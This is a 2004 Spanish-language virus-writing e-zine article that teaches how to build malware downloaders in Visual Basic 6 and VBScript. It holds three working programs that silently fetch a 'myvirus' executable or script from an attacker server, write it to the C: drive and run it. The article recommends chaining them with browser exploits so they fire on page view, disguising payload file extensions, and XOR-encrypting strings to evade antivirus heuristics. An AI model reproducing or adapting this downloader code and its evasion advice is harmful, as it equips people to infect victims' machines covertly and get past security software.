(C) MITOSIS #2 E-Zine/GEDZAC 2004 Tema : DownLoaders en VB y VBS Autor : MachineDramon Válido para : Microsoft Visual Basic 6.0 y VBScript Un Downloader es un programa que baja y ejecuta otro programa o archivo En este caso un programa que bajara el virus, en algunas ocaciones podriamos usarlo, por ejemplo si nuestro virus se propaga al ver una page infectada mediante una vulnerabilidad de IE y suponiendo que nuestro virus es de 100kb en algunas pcs demoraria en descargarse y tal vez el user cierre la pagina antes que descargue completamente o pueda sospechar algo. Mejor seria descargar y ejecutar mediante la vulnerabilidad un pequeño programa que descargue y ejecute nuestro virus. Un Downloader debe ser lo mas pequeño posible, lo ideal seria hacerlo en asm, porque seria bastante pequeño. El articulo no trata de explicar vulnerabilidades, para que se ejecuten los downloaders al ver una pagina o algo asi, deberan ser combinados con alguna vulnerabilidad. En VB para Win98 en adelante: ------------------------------ Usaremos la api URLDownloadToFile, esta api tiene el inconveniente de que si el user tiene instalado un gestor de descarga(Download Accelerator, GetRight) le aparecera el dialogo de aceptar la descarga y el downloader no podra actuar de forma oculta. Pero como son muchas(la mayoria) las pc que no tienen nada de esto nos servira el programa. Nos permite bajar toda clase de archivos como exe, com, pif, vbs, etc *************************************************************************** Private Declare Function URLDownloadToFile Lib "urlmon" Alias _ "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _ szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long '------------------------------------------------------------------------------- 'Declaramos wsl como object Dim wsl As Object Private Sub Form_Load() 'El Resumidor de errores y si existe ya el archivo "c:\v.exe" lo borramos On Error Resume Next Kill "c:\v.exe" 'Creamos el objeto "WScript.Shell" Set wsl = CreateObject("WScript.Shell") 'Aqui llamamos a la funcion DowFile pasandole como argumentos 'la url donde esta el virus y la ubicacion donde queremos guardarlo 'devolvera true si no hay error y false en caso contrario 'Si el server donde esta nuestra page no nos deja subir .exe, coloquemosle 'la extencion .bin ->"http://www.myserver.com/myvirus.bin" bd = DowFile("http://www.myserver.com/myvirus.exe", "c:\v.exe") 'Si bd = true ejecutamos el exe que acabamos de bajar If bd = True Then wsl.run "c:\v.exe" End Sub '----------------------------------------------------------------------- 'Esta es la funcion que descargara el virus Function DowFile(BURL As String, BPath As String) As Boolean On Error Resume Next: Dim lngRetVal As Long 'URLDowloadToFile nos devolvera 0 si no hay error lngRetVal = URLDownloadToFile(0, BURL, BPath, 0, 0) 'si lngRetVal es 0, no hay error y la funcion devuelve true, sino false DowFile = IIf(lngRetVal = 0, True, False) End Function '----------------------------------------------------------------------- 'Recomendado encriptar las cadenas o strings del codigo con alguna funcion 'de encriptacion, para evitar la heuristica de los avs, por ejemplo esta: Function q(j) On Error Resume Next For R = 1 To Len(j) q = q & Chr(Asc(Mid(j, R, 1)) Xor 7) Next End Function *************************************************************************** En VBS para Win98 en adelante: ------------------------------- Solo nos permite bajar archivos de texto: vbs, htm, txt Usaremos el objeto Microsoft.XMLHTTP *************************************************************************** Sub Main() 'Resumidor de errores y creamos el objeto WScript.Shell On Error Resume Next Set wsl = CreateObject("WScript.Shell") 'llamamos a la funcion DowloadFileText y le pasamos la url donde esta el 'virus y donde queremos guardarlo, devolvera true si no hay error y false 'en caso contrario 'Si el server donde tenemos nuestra page no nos deja subir vbs, lo subimos 'como txt -> "http://www.myserver.com/myvirus.txt" bd = DowloadFileText("http://www.myserver.com/myvirus.vbs","c:\v.vbs") 'Si bd = true, ejecutamos el virus If bd = True Then wsl.run "c:\v.vbs" End Sub '------------------------------------------------------------------------ 'Esta es la funcion que bajara el virus Function DowloadFileText(Url,Path) 'Resumidor de errores y limpio la "lista" de errores por si a habido alguno 'antes On Error Resume Next: Err.Clear 'Creamos el objeto Microsoft.XMLHTTP y el Scripting.FileSystemObject Set xml = CreateObject("Microsoft.XMLHTTP") Set fso = CreateObject("Scripting.FileSystemObject") 'Abrimos conexcion a la Url indicada y enviamos una solicitud GET 'osea que nos mande lo que haya en esa url, en este caso un txt o vbs xml.Open "GET", Url, False xml.Send 'Almacenamos en Rsp el contenido de la Url que nos envio el server Rsp = xml.ResponseText 'Escribimos el contenido en el Path(ruta) indicada Set Nw = fso.CreateTextFile(Path) Nw.write Rsp Nw.Close 'Si error devuelve false, sino true If Err Then DownloadFileText = False Else DowloadFileText = True End Function '------------------------------------------------------------------------ 'Recomendado encriptar las cadenas o strings del codigo con alguna funcion 'de encriptacion, para evitar la heuristica de los avs, por ejemplo esta: Function q(j) On Error Resume Next For R = 1 To Len(j): q = q & Chr(Asc(Mid(j, R, 1)) Xor 7): Next End Function *************************************************************************** En VBS para Win2000, XP, 2003: ------------------------------- A diferencia de la anterior si podremos bajar y ejecutar exe, com, pif,etc Usaremos el objeto ADODB.Stream y Microsoft.XMLHTTP *************************************************************************** Sub Main() 'Resumidor de errores y creamos el objeto WScript.Shell On Error Resume Next Set wsl = CreateObject("WScript.Shell") 'llamamos a la funcion DowloadFile y le pasamos la url donde esta el 'virus y donde queremos guardarlo, devolvera true si no hay error y false 'en caso contrario 'Si el server donde tenemos nuestra page no nos deja subir exe, lo subimos 'como bin -> "http://www.myserver.com/myvirus.bin" bd = DowloadFile("http://www.myserver.com/myvirus.exe","c:\v.exe") 'Si bd = true, ejecutamos el virus If bd = True Then wsl.run "c:\v.exe" End Sub '------------------------------------------------------------------------ 'Esta es la funcion que bajara el virus Function DowloadFile(Url,Path) 'Resumidor de errores y limpio la "lista" de errores por si a habido alguno 'antes On Error Resume Next: Err.Clear 'Creamos el objeto Microsoft.XMLHTTP y el ADODB.Stream Set xml = CreateObject("Microsoft.XMLHTTP") Set ads = CreateObject("ADODB.Stream") 'Abrimos conexcion a la Url indicada y enviamos una solicitud GET 'osea que nos mande lo que haya en esa url, en este caso un exe o bin xml.Open "GET", Url, False xml.Send 'Aqui seleccionamos los modos necesarios para escribir el archivo del virus 'en el disco, ubiera querido poner algo mas detallado, pero microsoft 'quito o cambio la direc de la explicacion del ADODB.Stream y no la 'encuentro 'Selecionamos el modo de lectura y escritura osea el modo 3 ads.Mode = 3 'Selecionamos el Typo 1 osea que el archivo con el que se va a tratar es un 'archivo binario, como exe, com ads.Type = 1 'Abrimos el archivo ads.Open 'Escribimos en él, lo que nos envio el server como contenido de la Url ads.Write(xml.ResponseBody) 'Lo guardamos en el Path(ruta) indicado, el parametro 2 es para si no existe 'lo cree(justo lo que queremos en este caso) y si existe lo sobreescriba ads.SaveToFile(Path,2) 'Si error devuelve false, sino true If Err Then DownloadFile = False Else DowloadFile = True End Function '------------------------------------------------------------------------ 'Recomendado encriptar las cadenas o strings del codigo con alguna funcion 'de encriptacion, para evitar la heuristica de los avs, por ejemplo esta: Function q(j) On Error Resume Next For R = 1 To Len(j): q = q & Chr(Asc(Mid(j, R, 1)) Xor 7): Next End Function *************************************************************************** (C) MITOSIS #2 E-Zine/GEDZAC 2004